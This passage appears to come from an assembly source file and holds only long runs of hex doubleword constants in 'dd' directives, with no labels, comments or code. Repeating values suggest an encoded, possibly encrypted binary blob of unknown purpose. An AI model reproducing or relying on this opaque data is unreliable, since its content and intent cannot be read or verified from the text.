0BC51A27Ah, 0E305CB74h, 6056095Dh, 6625B41Ah, 0E71E3215h dd 66883214h, 8F94CDE9h, 6622321Bh, 26D6B1E8h, 3D062ABEh dd 374BE90Ah, 0E3ABDD3Bh, 6008A3C1h, 0A70DF4EDh, 25422000h dd 54C35AECh, 71D8BFh dd 31D19AACh, 71E6943h, 66223EFCh, 0B8CC2315h, 0E11712B2h dd 111E2A02h, 9797CDDBh, 8F172002h, 66883201h, 0F42A90A7h dd 0E4C0338Dh, 8EAEB25Fh, 84713A97h, 0B796D25Fh, 2EA7BFE0h dd 9E17202Eh, 7761E2EAh, 84443215h, 0B31EF03Ah, 940B301Dh dd 0F67D0292h, 3F7C3283h, 0F7FEB79Ch, 68F8340Ch, 28883215h dd 0B82A0456h, 381CE667h, 97AC6499h, 0A70DF447h, 25422000h dd 6629DB75h, 34733215h, 816EBCE8h, 8B3F4A54h, 6DA73D23h dd 8F113215h, 66883213h, 19485597h, 0E437DFAh, 0E2E09E22h dd 973DCDEDh, 9A422002h, 5D6AB798h, 6FF83407h, 17883215h dd 0E6E3CCDCh, 9636FD27h, 0E61EE2EAh, 6688321Ch, 849EB275h dd 0FFF78973h, 8694BB74h, 68E2B84h, 699DB973h, 6622349Bh dd 66933D15h, 7883215h, 66443BFCh, 9CA3AC15h, 9F22925Ch dd 0E34EEF3Eh, 605627D4h, 77AB3D5Ah, 8F113215h, 66883219h dd 0C3387396h, 0F6E4B053h, 0E2F58084h, 5318E67Dh, 0D3BBC782h dd 603025E4h, 2E94BFECh, 68E202Eh, 741C8D73h, 9943F89Eh dd 0A99052C5h, 327CC095h, 0EF25EEA1h, 7FB3D690h, 6B9B3D13h dd 6883215h, 664434FCh, 75738815h, 72E62F9h, 7349B7D3h dd 60B3407h, 662221FCh, 0E889CB15h, 8ECCFECEh, 0EABDC884h dd 0A6736Eh, 472A664Ah, 66883CFCh, 6BEE2615h, 5068A28Ch dd 463FFAB2h, 7CE0D09h, 84A307Dh, 7DA33DECh, 69113215h dd 66882797h, 6654DB15h, 22C03215h, 0C35BDB23h, 5BA12FD1h dd 8CBF737Dh, 0D3DD4E14h, 600325E4h, 6687DB75h, 0E80A3215h dd 8C60A164h, 0D3D90617h, 7D92D7A5h, 76783B7h, 5D6AB798h dd 8F713407h, 6688321Eh, 301535C2h, 0C1A439BDh, 8E4DF80Dh dd 66883218h, 3E6C0D0Bh, 244CA069h, 619925E2h, 66033DEDh dd 38443215h, 0B6DDCB74h, 61993DE0h, 6883215h, 0A6C45375h dd 0E3AB53F7h, 6008A3FDh, 6686DA75h, 0E4143215h, 2C56F975h dd 9C658957h, 58DACFDBh, 99781CAAh, 0ED446B2Fh, 0E3D753E6h dd 609A27D4h, 8F155258h, 6622321Eh, 779DDDF3h, 0CD413611h dd 3C6C9C06h, 7D5B973h, 661DB21Ah, 61613215h, 3443215h dd 0F69F1D96h, 2F79E27Bh, 9E40056Ch, 65CF3D75h, 0E6223215h dd 0B4911BD1h, 0D37753F9h, 605625E4h, 66223DFCh, 3D887415h dd 0AF932515h, 9E6002E5h, 0B0B0E6A3h, 5D59B798h, 99713407h dd 6EC53DC5h, 6223215h, 28988A73h, 9EE95375h, 0F7B4B79Ch dd 42340Ch, 7E07CABh, 7349B7D3h, 69093407h, 66221792h dd 6DF85215h, 0D1883215h, 0FC76BF97h, 413E9AA4h, 68F8DF04h dd 0CB883215h, 648BA211h, 74BA8FF2h, 8B2E7B36h, 756153A7h dd 0A9443215h, 0D1C7C535h, 6AF03BEh, 0B8DB6662h, 7FDDD648h dd 0EF4AB1DFh, 6CDC558h, 668EB51Ah, 0E54B3215h, 66223215h dd 6613BE1Ah, 39DF3215h, 67CB3D74h, 9E223215h, 71E087EAh dd 0E7E83407h, 395C8EDFh, 71E9B27Ah, 0E39CCB74h, 609A095Dh dd 6645B01Ah, 99D73215h, 75F852C5h, 0F1883215h, 0C8D147C3h dd 2B02F78Fh, 91171D5h, 1CCA315Ch, 96C54BC8h, 55CEAF6Ch dd 8A94BB74h, 8F8E2B84h, 66443212h, 0CB36D871h, 0A070A904h dd 749DF390h, 68AD6713h, 0BE223215h, 0F38280B3h, 26AE66C9h dd 0D4106A05h, 4B155A7Ch, 99EDAE0Eh, 749FC3A0h, 67C83D13h dd 93223215h, 5D59B798h, 6D613407h, 92443215h, 3DAEEB23h dd 1853AD20h, 0B6771181h, 664437FCh, 2D255315h, 0E398E6D9h dd 6091A3E1h, 6645B81Ah, 0A0D73215h, 7404F390h, 6E617113h dd 0ED443215h, 0A69D515h, 0EFAAC6Bh, 0B45DC23Fh, 664423FCh dd 337B2115h, 6476B67h, 61ED5C4Ah, 18B2FF1Ah, 0D3DDF4F5h dd 600325E4h, 6689B71Ah, 0EBBD3215h, 74197A90h, 661ADB13h dd 9D9B3215h, 0BCA7EAF9h, 0C24A48EAh, 9EC1CD76h, 0F770B79Ch dd 0EC4B340Ch, 66223200h, 661122FCh, 3C258D15h, 4172F8FFh dd 5421CB0Eh, 50F858F5h, 0A70DF491h, 34422000h, 67A23D75h dd 9F113215h, 668838FDh, 7F7F9E15h, 0AD09ADC1h, 3EDB6044h dd 0D2625A74h, 0ED24CF57h, 9CF5B2E4h, 97A4CD74h, 68E2002h dd 0A58BB373h, 0E3AF5322h, 6003095Dh, 6695B91Ah, 0E94B3215h dd 66223202h, 661120FCh, 0C68C0F15h, 0C335DA31h, 0F56D17ECh dd 0B8472D15h, 9952A4FFh, 61CA3DC5h, 69223215h, 66113393h dd 0E301CA15h, 60561B84h, 0A7A7F4E0h, 21172000h, 668820FCh dd 0F486EF15h, 4D1F9871h, 39A15DA4h, 3132852Bh, 0E8513E8h dd 84BA6B8Ch, 661DB61Ah, 0E6873215h, 66443213h, 6622B51Ah dd 0D3EE3215h, 609A25E4h, 0B18375h, 0EB43F09Eh, 742A7A90h dd 6685DB13h, 29833215h, 1F03F730h, 0F17A26BDh, 9951E8F8h dd 0EB4B52C5h, 66223210h, 7FC3B373h, 669BDB3Eh, 102A3215h dd 4EDE679Eh, 0BC12137Ah, 0E46FA38Ah, 967C03C8h, 0E3AB535Ch dd 6008A3E9h, 6682BA1Ah, 63AD3215h, 0A9223215h, 7FFD18E7h dd 0A70DF4E0h, 21422000h, 662ABD1Ah, 0EE1E3215h, 66883217h dd 0A42C5375h, 6993CF75h, 6611339Bh, 0D377CA15h, 605625E4h dd 6629BB1Ah, 0DF713215h, 1CB5656h, 67948B73h, 2EA7BF74h dd 8F17202Eh, 66883207h, 2EC1BFBh, 96A5005Dh, 751DE9DBh dd 0E64BB32Ch, 0B6BB602Bh, 6629DB75h, 0AFF3215h, 0C7B29D86h dd 5EE866A7h, 60A63D30h, 0E7113215h, 719154C2h, 0EF4B5356h dd 66223214h, 6694BBE9h, 9F8E2B87h, 7385B7D3h, 69653407h dd 66113C9Ah, 0E6875215h, 66443215h, 6622B11Ah, 0E703215h dd 0B92ECC01h, 97F1CDE9h, 6242002h, 0E11E6847h, 66883211h dd 2A398C73h, 2EA7BF74h, 617202Eh, 0EF871DA4h, 66443210h dd 0CCF1B373h, 6DF85300h, 0BF883215h, 9B15CE39h, 1C07505Eh dd 0B6EE1B53h, 620DBBE9h, 6422B87h, 662226FCh, 0B319FC15h dd 740B00F9h, 0B1A20CB9h, 0F3F39032h, 7D6E2A37h, 0BA365484h dd 0E38253E8h, 603027D4h, 0E79CB4Ah, 9A1662E7h, 71B587EAh dd 8F423407h, 66113205h, 0E7943057h, 9DECADDh, 9FD23A16h dd 846B0BAFh, 3ED66547h, 664CDB74h, 92F33215h, 0F901EF4Eh dd 0E30557A2h, 6056095Dh, 6624B91Ah, 713215h, 77DF89Eh dd 694CDE9h, 0E3AB53E0h, 6008A01Dh, 668821FCh, 0FF2CD715h dd 3BC663B0h, 1A26C577h, 6EB97FD6h, 2F7256CBh, 73E3B7D3h dd 65E3407h, 668EB91Ah, 0AEC53215h, 3DFDBAF9h, 9370C19Fh dd 9AF30D7Dh, 0D3BBCAD2h, 603025E4h, 8FB58175h, 66883201h dd 2939C55Dh, 0FCE29C4Eh, 0B2FAF7F2h, 0AD5399E4h, 0EA35A3B4h dd 2EA7BF74h, 8F17202Eh, 66883207h, 87FAF2E7h, 1076DEE2h dd 60125F74h, 96E10C2Ch, 0B6BBA985h, 6639B31Ah, 0ED1E3215h dd 66883200h, 664422FCh, 84508615h, 0F2A1ACC0h, 0A62AB698h dd 2A47219Bh, 52A7BBB7h, 9E172B87h, 7349B7D3h, 8F033407h dd 6622321Dh, 0C56F914h, 6FE12B53h, 8085AECh, 0E72DC84Eh dd 6611320Eh, 66063D75h, 8F443215h, 6622321Bh, 0E9E0C2E5h dd 9A3CBF51h, 0A57E738Ch, 99432026h, 7406C3A0h, 0E305CA13h dd 6056095Dh, 662CBD1Ah, 6FF83215h, 7A883215h, 4FA01FD6h dd 1B56F623h, 0D971E2EAh, 1297FD72h, 6652BF1Ah, 76CA3215h dd 1F113215h, 822E5047h, 0D342B53Dh, 0F542C8BBh, 3FA01756h dd 0E301CE74h, 605DA02Dh, 0A7A7F4ECh, 21172000h, 66883DFCh dd 4FE42D15h, 0BE4ADC4Fh, 349F637Ah, 71026004h, 6060FF7Dh dd 69CA52D6h, 0E113215h dd 0DE933A71h, 0B6132509h, 0B8F660F6h, 0B491790Dh, 0E6D96A04h dd 71A29E0h, 71D387EAh, 69F83407h, 15883215h, 0EB870E45h dd 0E924C35Ch, 1D77DA16h, 0EB745796h, 747F7A90h, 62A73D13h dd 6113215h, 99E9E89Eh, 664DDBC5h, 0DA073215h, 74C05B24h dd 0EF4BD477h, 7FD60E90h, 0E12DCE13h, 66113214h, 0A70DF4EDh dd 39422000h, 662239FCh, 8471D15h, 814A022Bh, 89C03E8h dd 0DD42FE7Dh, 679A3DC1h, 9E883215h, 71B587EAh, 60CB3407h dd 0B3113215h, 0B4C6447Eh, 664BDB8Ah, 0A2713215h, 37766F26h dd 61308E23h, 647A823Dh, 2EA7BF55h, 9317202Eh, 0E587E2EAh dd 6644321Eh, 662234FCh, 0E4EA6B15h, 0EF32263Ch, 7FD63E90h dd 67AC3D13h, 9A113215h, 7349B7D3h, 8F1B3407h, 66223213h dd 56E6B71Fh, 28E08610h, 8FDADB41h, 6622321Bh, 16AB7418h dd 51A9E9BCh, 1A8472E3h, 0D3DD422Fh, 600325E4h, 6680B21Ah dd 0E04B3215h, 66223217h, 0E39C5375h, 609A095Dh, 48CB375h dd 0E72C25C0h, 786005F5h, 0E85372h, 0CA46AAh, 9943C99Eh dd 661EDBC5h, 0B7D43215h, 0F1FEC51Ah, 0C6A1FAF7h, 0ADA4D7B8h dd 760DBBFEh, 8F422B87h, 6622321Dh, 7DC14DB2h, 0A638FF5h dd 7385B7D3h, 937D3407h, 75397A7Dh, 0D377CBC4h, 605625E4h dd 0E8298A75h, 0D11E2C34h, 0E30553C4h, 6056095Dh, 662220FCh dd 0D2B34215h, 6DCDDB6Eh, 31CA0E38h, 221CA864h, 99ECFE97h dd 0E301CAC5h, 605DA001h, 692658ECh, 66113E99h, 600E3D15h dd 69443215h, 66223290h, 76115A15h, 0E5873215h, 66443238h dd 662FDA75h, 2D823215h, 8BD414BDh, 7C5CE5D4h, 3C398F45h dd 661121FCh, 2D89A115h, 635A5C63h, 91F0A447h, 2DE3032h dd 0A6493E04h, 76445A74h, 0ED2D3215h, 66113213h, 366BB875h dd 662E534Fh, 6624DBE9h, 0E1CE3215h, 98FCC2h, 66DDA7EAh dd 0EA2D3407h, 66113214h, 0A30DBBEDh, 69422035h, 66222695h dd 661EDB15h, 0DFF83215h, 4468C5B4h, 55F77BDCh, 0FF29F209h dd 830DBF00h, 6422B54h, 0DC71EA95h, 77A38243h, 658CD74h dd 66443FFCh, 66873C15h, 81167F64h, 636F68FDh, 6EAC7644h dd 94223215h, 63571CA3h, 0EDB715DFh, 0C256BD2h, 0D12D5211h dd 7E6B9CDh, 6698327Dh, 664EDB15h, 0BE813215h, 15B25435h dd 503EB8FEh, 6664327Dh, 67AE3D15h, 9F113215h, 6D61327Fh dd 66443215h, 5032CC5Dh, 505F6078h, 0F377C496h, 6056328Ch dd 66223FFCh, 0A6C97115h, 0E7D33A31h, 6D109D98h, 0E3AB4D67h dd 60031F28h, 668826FCh, 8CEC4D15h, 0FB3EEC25h, 6CC9AF17h dd 846290C3h, 0E6FAE3C8h, 0AFA7BBB6h, 9A17203Fh, 81095275h dd 849C472h, 34436B44h, 66113FFCh, 6E62E215h, 0EC091C4h dd 83D7AD0Bh, 74B0158h, 0E787727Fh, 66443212h, 6623BF1Ah dd 0EE93215h, 66882215h, 6645B61Ah, 0EDB3215h, 66103215h dd 9509C775h, 3D9DF9FDh, 9F225874h, 6688A7EAh, 0EF713407h dd 746C5390h, 67A03D13h, 9A113215h, 3F3DB9E0h, 6422021h dd 662222FCh, 46521215h, 2F1A4B4Eh, 60BAF41Dh, 1A1423DBh dd 8D9054C5h, 0EDE998A5h, 745EFF88h, 0D92D5213h, 659C3DD2h dd 883215h, 0EF25F89Eh, 74117BA0h, 0B19A5213h, 2BF8C73h dd 27D9BB74h, 6924203Dh, 6611029Ch, 76615215h, 76443215h dd 4F98BB28h, 587C5829h, 0F1FC64A0h, 8F797039h, 66223201h dd 5750CC4Eh, 19019A61h, 5843AC57h, 331BCDBAh, 5353C6C7h dd 6A0F3D74h, 69443215h, 66223494h, 66953D15h, 0ED883215h dd 745EFF88h, 87A25213h, 0FE448BE4h, 36E91EFAh, 5E7E8B44h dd 0B7D533C3h, 9113DBD4h, 6979B3CCh, 0EF84479Bh, 0BE236BDDh dd 69493A9Eh, 66883A95h, 64C53D15h, 6223215h, 66E8B174h dd 5ED5B61Ah, 0EB4B3215h, 66223214h, 869862ECh, 66883610h dd 66401F15h, 62A53215h, 62986E31h, 669BDB31h, 40C83215h dd 7BE1FE9Dh, 0CCDEFA8Bh, 9054DD63h, 43D3419Ah, 62CEB148h dd 9E353E9Ch, 6A073D75h, 6443215h, 28ECB373h, 72328C25h dd 9FE905FEh, 0EFBCF224h, 743BE390h, 661BDB13h, 3FEF3215h dd 0D83E1FA4h, 8A0E9BEEh, 661FEC7Dh, 429CBB15h, 66440EAFh dd 3CF4BB15h, 8FFFB3E9h, 65A8A96Ch, 36641661h, 215E7ADh dd 62F1F342h, 848E0038h, 68B3071Dh, 0A0237FEFh, 619E3D4Dh dd 69883215h, 6644339Ah, 0CB44CE15h, 66113CFCh, 0C1187E15h dd 83BF98A7h, 0D39C1E26h, 639A09C3h, 72357FB4h, 46607616h dd 2B838C43h, 963826A8h, 1677C74Bh, 4270B96Dh, 6626F694h dd 76F83215h, 4C883215h, 0AF67A00Eh, 0BEED741Dh, 49DF8EB9h dd 0E739260Bh, 832392D3h, 4256316Dh, 20AC6735h, 91FB2157h dd 8BC577C8h, 5FDD29D5h, 0E713DFD4h, 3887ECE0h, 3BAA1B79h dd 7E54CDE0h, 550D8D42h, 1A897AF7h, 391B3631h, 553EDD94h dd 63F87AF7h, 2F883215h, 0AE5BE0DBh, 8ED3B975h, 6611321Dh dd 91303E07h, 0D9557B78h, 662239FCh, 0CD090C15h, 60C8BE85h dd 0B693FB3Dh, 0DBAB534Ch, 6003179Ch, 6977B7E9h, 66440190h dd 5CAC715h, 6113275h, 9C3F3D42h, 7D6874Dh, 6626ACFCh dd 7F993D15h, 8F883215h, 66443201h, 508109FBh, 0A7315B9Bh dd 0D7999199h, 0DF0C4300h, 0FBC9BE1Ch, 63F1BB45h, 66883211h dd 0E140DA96h, 0EF7E1611h, 0ED1E1619h, 66883210h, 93658575h dd 3D756174h, 64AE89Ch, 0D369B3EDh, 7781F28h, 66223CFCh dd 0F53E0B15h, 415DB7F5h, 8ED435A5h, 0DA0B678h, 0ED1E36C7h dd 66883217h, 0F3CD5375h, 603013A0h, 0A4A95475h, 0AC373DC6h dd 67C73D74h, 9A223215h, 6FF8367Fh, 0DE883215h, 0A575844Ah dd 0EEFB58E5h, 6601327Dh, 0ED875215h, 66443217h, 0D12D6B47h dd 397953C4h, 0EF883225h, 6FAD1601h, 44223215h, 65C5DF54h dd 3E23328Ah, 0BC098B75h, 0ED447292h, 667B53D7h, 668834FCh dd 99FF9915h, 99C3CA40h, 7411AB80h, 668EDB13h, 0B34E3215h dd 2DD564E3h, 7C10B79Ch, 36743407h, 0B5603694h, 3C095D06h dd 75C28F40h, 8CA1197Ah, 99BDCE48h, 0E57B1621h, 697136D1h dd 6688379Fh, 8B8A8B15h, 0E12D7442h, 66113217h, 8EE95375h dd 66446D2Fh, 75E8175h, 59265AEDh, 52013215h, 6654DB31h dd 53183215h, 0E5A1B14Dh, 0B4BB319Dh, 89315A7h, 938FA1B8h dd 66113EFCh, 0D60AB215h, 0D4C6887Dh, 241335E2h, 7D9F1F45h dd 228B5266h, 0DF151631h, 651299Bh, 8F48FA14h, 66883219h dd 0DE0426Ah, 0F265D712h, 0F094318Fh, 0EF8CDE96h, 3E131611h dd 0ED44524Ah, 661EDBCFh, 14A63215h, 0ADA46B91h, 0C793B7E1h dd 0E2F309EAh, 8A0B535Ch, 4278BB11h, 6EA63D4Eh, 69113215h dd 6688309Ch, 0E255215h, 66223F58h, 6350E9Ch, 66883CFCh dd 0B93D0C15h, 2BB4E54Ah, 0AD024473h, 69AB906Ch, 5625C0A2h dd 138CCAD5h, 0AD9A52E8h, 4D7A8A75h, 0DE221466h, 743DB41h dd 4225B9E9h, 0E76DBB40h, 664436D0h, 62E7B115h, 3A351E92h dd 668EDB75h, 724D3215h, 666BA8CFh, 6AB315ABh, 0A1095335h dd 4A045A7Ah, 0DC70ED3Ch, 4A515A7Ah, 6D2E53Ch, 664439FCh dd 1FA7DE15h, 4308B801h, 0A4380EBAh, 78B851Ah, 662238FCh dd 68CAF215h, 0BA4C6C13h, 0EA85820h, 662270AFh, 635269Ch dd 6683DB46h, 0C3313215h, 51C15130h, 96A2E1EDh, 0D96CEFh dd 1544F194h, 3177534Fh, 3BFBBB48h, 668FB91Ah, 0EE4B3215h dd 66223214h, 0A3ACB9EDh dd 8F8E2035h, 66443213h, 0AB63300Ch, 99A80F9Dh, 6977CDEAh dd 66443495h, 0A5A95215h, 5770FFA3h, 6685DBD5h, 0BE553215h dd 95D8C1DBh, 49467E73h, 0E163FB4h, 664432A0h, 0DD062E9Ch dd 66113215h, 6502C114h, 6643DB4Eh, 0DA1D3215h, 0FB459B06h dd 9F40025Fh, 99BB8946h, 0B80BCDEAh, 6A983D4Eh, 69883215h dd 66443499h, 66AD3D15h, 99113215h, 5209B521h, 975C5731h dd 4226B967h, 5315F696h, 14792A70h, 664438FCh, 0C97C815h dd 0A298BD79h, 0A74FA414h, 243AFCh, 6E5E7AEh, 6611BB1Ah dd 70393215h, 0A7755374h, 0E32D78E0h, 99EECD7Ah, 39D965ECh dd 9F1BCA9Ch, 72D562E0h, 4215B931h, 668CF694h, 0E7243215h dd 452B28C6h, 729A530Fh, 80016431h, 6640F494h, 0A0A33215h dd 66113211h, 3AAC0692h, 6658BD1Ah, 423215h, 0E79FD094h dd 66883DFDh, 8B39115h, 64187498h, 0B68A6871h, 32F17732h dd 8AC7534Bh, 4226BB11h, 4D350694h, 0E98BD121h, 4D76B317h dd 6921D121h, 66113A98h, 64023D15h, 6443215h, 0D9756474h dd 57D64934h, 0A1F317ABh, 39BA1B24h, 8F7CC014h, 66113205h dd 9CB6EA74h, 88569785h, 4ED4DDE5h, 9CCABE4Ch, 66B2BB7Dh dd 4250BB15h, 662ABD1Ah, 0EF1E3215h, 66883217h, 0E3BB5375h dd 60302BC4h, 6619DBE0h, 0C9523215h, 0EB0B0DCEh, 0F3A9FB88h dd 60032BC4h, 0EF1D0BE0h, 69422030h, 66224D91h, 7C933D15h dd 6883215h, 66443FFCh, 4996215h, 0E56878E0h, 0F5EAD376h dd 80C52F50h, 670B3A7Ah, 4205B974h, 6368BB45h, 66443211h dd 0E126F296h, 9A4D1611h, 35AC069Eh, 0A5C5D19Ch, 66223211h dd 6615F194h, 7A0F3215h, 246E31h, 7655AABh, 66158946h dd 0A0093215h, 657128AEh, 88A3EC14h, 652428AEh, 0D061CA4Eh dd 69BBCDE9h, 66223D9Eh, 661BDB15h, 39CD3215h, 49CBE8h dd 50E288A3h, 3035269Eh, 0A009D49Ch, 66443211h, 0E126F496h dd 9E4D1621h, 38AC06EAh, 6640F694h, 7D73215h, 66113EFCh dd 5B6B8315h, 7F92C1FFh, 8E4E2FCCh, 4225CDBCh, 624CB34Ch dd 8F443215h, 66223210h, 0FED6B9ADh, 5277CB09h, 0A2C76A31h dd 67A23D11h, 9F113215h, 7B91B7D2h, 66443407h, 0EE2D3215h dd 6611320Ch, 668826FCh, 0EC3B3315h, 1D333F07h, 35118541h dd 0AD3FB7DFh, 0A9BBE778h, 97A7F56Eh, 66172025h, 6883215h dd 9E8FF295h, 1A9FB174h, 66172B84h, 66CAB61Ah, 6AAD3215h dd 10223215h, 76017A17h, 0B028349Dh, 0EB726D2Dh, 7EBC9288h dd 6605DB13h, 69A13215h, 4AA6212Ah, 0D8689ACAh, 0DE9E075Eh dd 98D742F5h, 0B5BB4268h, 4EF1B375h, 306378E5h, 6688B81Ah dd 71B3215h, 720BB7EAh, 74F83407h, 0B1883215h, 0F9772CA1h dd 0D8421DA5h, 0CE69FA14h, 0C9665938h, 4FF9B1FAh, 2242001h dd 646BB01Ah, 0A1703215h, 74501B90h, 66223313h, 67923D15h dd 9E883215h, 67C93D75h, 9A223215h, 2BB0B798h, 9974340Ch dd 0D82252C5h, 0D12D2923h, 0D39C53CDh, 6091A059h, 664439FCh dd 55BCA415h, 4ECC510Ah, 8AFB4493h, 78578F98h, 0D442340Fh dd 0A1905390h, 1F59543Bh, 0DB11C53Ch, 1FF3543Bh, 64CDD3Ch dd 1CCCF094h, 9A2574A1h, 664C527Dh, 422DBB15h, 0D2AC1E94h dd 3C12294Fh, 3C96F094h, 0EDE9640Eh, 74A8F7A8h, 76C03D13h dd 8F223215h, 6611321Eh, 602C6F0Bh, 0C6CB1F91h, 0DF6EB8ECh dd 99EECDEAh, 668837FCh, 0F711AC15h, 0A6136CC8h, 66113CFCh dd 0AC2AC415h, 6A075E6Bh, 4C77F36Eh, 0E5C5EE00h, 6A0136F9h dd 66448B31h, 97233215h, 9348339Fh, 6A61FA25h, 0FC443215h dd 0AD68DD81h, 2C082B83h, 34CF90E0h, 664433AFh, 3CF43315h dd 66113DFCh, 0E014CA15h, 0DD5A9E67h, 0E2351135h, 7DC4D379h dd 0E70F06EAh, 0ED31621h, 537A2B9Ah, 7F9E5A82h, 6693B01Ah dd 37243215h, 6630DB4Fh, 34613215h, 662CD506h, 0F60494D3h dd 0A806BC1Eh, 955C17D2h, 6E61F374h, 6648BC1Ah, 69423215h dd 66113294h, 0E315415h, 0A77553D8h, 6623B91Ah, 2CE93215h dd 99DCB71Ah, 63ADCDEAh, 44223215h, 0B0D038E0h, 42A4B344h dd 38D76AFFh, 0E506369Eh, 8C1436D1h, 8FD6A14Dh, 66443219h dd 9F40653Ch, 154977F1h, 6DB9BC1Bh, 6645B81Ah, 0E5DA3215h dd 629836F9h, 429CC531h, 6643DB4Dh, 1E033215h, 0B59DE34Eh dd 0E3B1CA72h, 6056362Ch, 6688B61Ah, 6FF83215h, 9E883215h dd 0B71C343h, 0E7C3D29Ah, 661122FCh, 0A474D515h, 9471C6AEh dd 0DD95473Dh, 0D36227BEh, 7BB8A7Ch, 55614763h, 0A76FA258h dd 0DB4437F5h, 66883215h, 3BD1F73Ch, 4C3FC230h, 7FB11F03h dd 61612637h, 0D1443215h, 7E81B7EBh, 0A61A92C3h, 6697B71Ah dd 8F243215h, 66223218h, 21E4A328h, 55093B71h, 8CFE321Dh dd 0E3E553BFh, 60033E38h, 66883214h, 62FC62E9h, 35568A75h dd 0B83E26AEh, 3D500368h, 0CC7EC518h, 0A7F2C53Ch, 8C3434FDh dd 53E1963Dh, 67756BAFh, 697AF314h, 66113590h, 670D3D15h dd 9E443215h, 72CB5274h, 0F3113215h, 13B83505h, 0F38123DAh dd 3ED0376Bh, 0EFC0FCD3h, 37D623B3h, 42A6B373h, 934369F5h dd 568D8C43h, 900926BAh, 3BAA3E35h, 88A3E4E2h, 56D0564Bh dd 55F38A45h, 0A0451631h, 0FFE4B34Dh, 0EFA3F7ACh, 0E6876CE4h dd 6644321Fh, 0B7A95475h, 0B90972AAh, 0EDD5308h, 17813D83h dd 8BA37F48h, 13FE5362h, 58BBDF94h, 8CCDABB2h, 0E7061E9Eh dd 661136D1h, 61033D15h, 6443215h, 34E8FA95h, 6BC534Fh dd 7761E39Eh, 8D443215h, 4087AE38h, 0E920F862h, 94141691h dd 850BC7BCh, 2F97BB74h, 9F172026h, 6689BE1Ah, 31B13215h dd 303918AAh, 35D6B368h, 0E7ABE76Ah, 4DDE4FE2h, 9EAB62B4h dd 3EED749Ch, 0E774524Ah, 502AC9FFh, 881F5378h, 69FFDCFBh dd 6688E090h, 58C5CB15h, 0BBFFEFC8h, 66D4B71Ah, 0EA873215h dd 66443212h, 6623BC1Ah, 34E43215h, 1FB687AFh, 60AEF372h dd 84E3E0E2h, 0B1AF6410h, 0E7A56F32h, 0B72864D3h, 0EBCCB363h dd 57C6D926h, 70016CE7h, 6643DB4Fh, 4FFA3215h, 0A9FFF977h dd 623765E5h, 0E7443215h, 0C06EB9FBh, 0E7EF3353h, 0C0C4B9D3h dd 6DAD6D53h, 7A223215h, 94A0D6E0h, 0E6A08579h, 0D3CDEFF8h dd 6030015Ch, 8CFDB275h, 4341B375h, 111B6Ch, 743FC9Eh dd 6610B21Ah, 8F743215h, 66441E39h, 6623BE1Ah, 8FE83215h dd 6688321Ch, 1283D529h, 0B8C1CE83h, 988BDB38h, 0EC87CDEAh dd 6644320Ah, 6631DB75h, 0E1F03215h, 0E4610CACh, 3A3C8AAh dd 36AC8DA3h, 0CDE15814h, 419A8C7Dh, 3625516Dh, 0DF063694h dd 3D191238h, 4C148D42h, 0A1C52507h, 972C3108h, 8F4EC93Ch dd 66883213h, 4E0A5E2Eh, 0E31176D4h, 60033E38h, 8F7B8175h dd 6644321Bh, 3D55BFCCh, 1527CC63h, 3DA4CC39h, 6925D100h dd 66223391h, 0AED0CA15h, 0E7EE5216h, 0E78472CCh, 0FB526BCFh dd 0ED1E5351h, 6688321Fh, 664437FCh, 2C6F8015h, 0B61450B4h dd 4FBD5117h, 0D6FD63C5h, 91784F24h, 0E7C8C5C4h, 67B45BE4h dd 5D8DB314h, 0E76F4727h, 0EF39FBD4h, 7279B36Eh, 4FAA577Fh dd 0E82D6BDDh, 66113214h, 7648F3E0h, 664435FCh, 5360C615h dd 0DE4E6865h, 6161FA24h, 2B443215h, 0CB1D3B1Fh, 0FB982BCFh dd 609A3E38h, 8CC552E9h, 5718AE97h, 7CA8D1Ah, 67883228h dd 9FC73D15h, 9E223214h, 0DDAA0C94h, 0E38789AEh, 664433F9h dd 662237FCh, 7B380F15h dd 0EDFE2E9h, 217A26EBh, 4FEDB34Ah, 0E7655A24h, 1C61E8FAh dd 397ABB61h, 0B72014D4h, 2C27B33Bh, 698E348Dh, 66442198h dd 662CDB15h, 6C063215h, 6A1DB1FEh, 8FFD5A10h, 864E67AEh dd 6610BA1Ah, 367D3215h, 66408847h, 0B6AB3215h, 3ED7334Fh dd 668838FCh, 3D11BA15h, 0DD20A989h, 0EF54F121h, 74BB7BA0h dd 0EDB1CB13h, 7438FF88h, 55EECB13h, 0E7AC3E9Eh, 664436D1h dd 6ACBCE15h, 2E113215h, 303366CAh, 31C623F7h, 36603A80h dd 0E735269Eh, 668836D1h, 8FFB5215h, 697B90BCh, 66113F9Dh dd 6680DB15h, 38CE3215h, 68C69E35h, 670BD6Ch, 0F44AB375h dd 6940B160h, 66223298h, 0D8795315h, 0EF88327Fh, 62C51601h dd 0CB78DC31h, 883C6A10h, 68D9F4Fh, 31BBDC94h, 63CA0BE7h dd 0E0113215h, 0D58CF4EBh, 71B6C44h, 553BB73Eh, 6BF83407h dd 6D883215h, 93BD67A3h, 8F09070Ah, 6D9AB00h, 6698B61Ah dd 6DAD3215h, 5D223215h, 3079DE7Eh, 45D6ADF4h, 86856520h dd 6EA23D17h, 69113215h, 66883095h, 65255215h, 743BAF90h dd 0ED775213h, 668DDBE7h, 0BA263215h, 76A2CAEh, 665EA67Dh dd 428CBB15h, 8F1A6A43h, 66223205h, 0E881AFDFh, 630BE9B6h dd 0A4FA3130h, 6DE3EB60h, 6B9D3DB8h, 8F883215h, 6644321Dh dd 44CED7DFh, 0B040B51Ch, 0BCF58838h, 358C3313h, 1C38D8AEh dd 24E2B34Ah, 2DC86E41h, 0B6A9D994h, 0BE232A5Eh, 661EDB4Eh dd 9163215h, 362DEC52h, 8C33A887h, 7EC5B62Ah, 42CCBB64h dd 67C93D09h, 9E223215h, 61923D74h, 69883215h, 6644339Eh dd 2ECBC715h, 6113216h, 66883AFDh, 0CC18A715h, 0AA25BEF0h dd 3F7052C5h, 6683DA43h, 431E3215h, 2D3B3A37h, 7AD37DFBh dd 7D26C54h, 0E7A1BB40h, 662236D0h, 62FCB115h, 3AAC1E92h dd 69603E9Ch, 6622259Ah, 77923D15h, 8F883215h, 66443219h dd 0DE83B2D9h, 2C0C2527h, 0BC15D684h, 6666387Dh, 4236BB15h dd 66113AFCh, 0E42EE15h, 39F89901h, 6EB03FFh, 6DF8BAA7h dd 3F883215h, 69B542C7h, 0E101E202h, 6970D44Eh, 66882C91h dd 0A5C55215h, 6860469Bh, 661123FCh, 0EBD7A715h, 0B310C38h dd 2ABC4BDAh, 5927E0FAh, 0EDE924E5h, 745E3380h, 6419C713h dd 668FB61Ah, 0DDE83215h, 2DD7254Eh, 66A53D44h, 38113215h dd 62376574h, 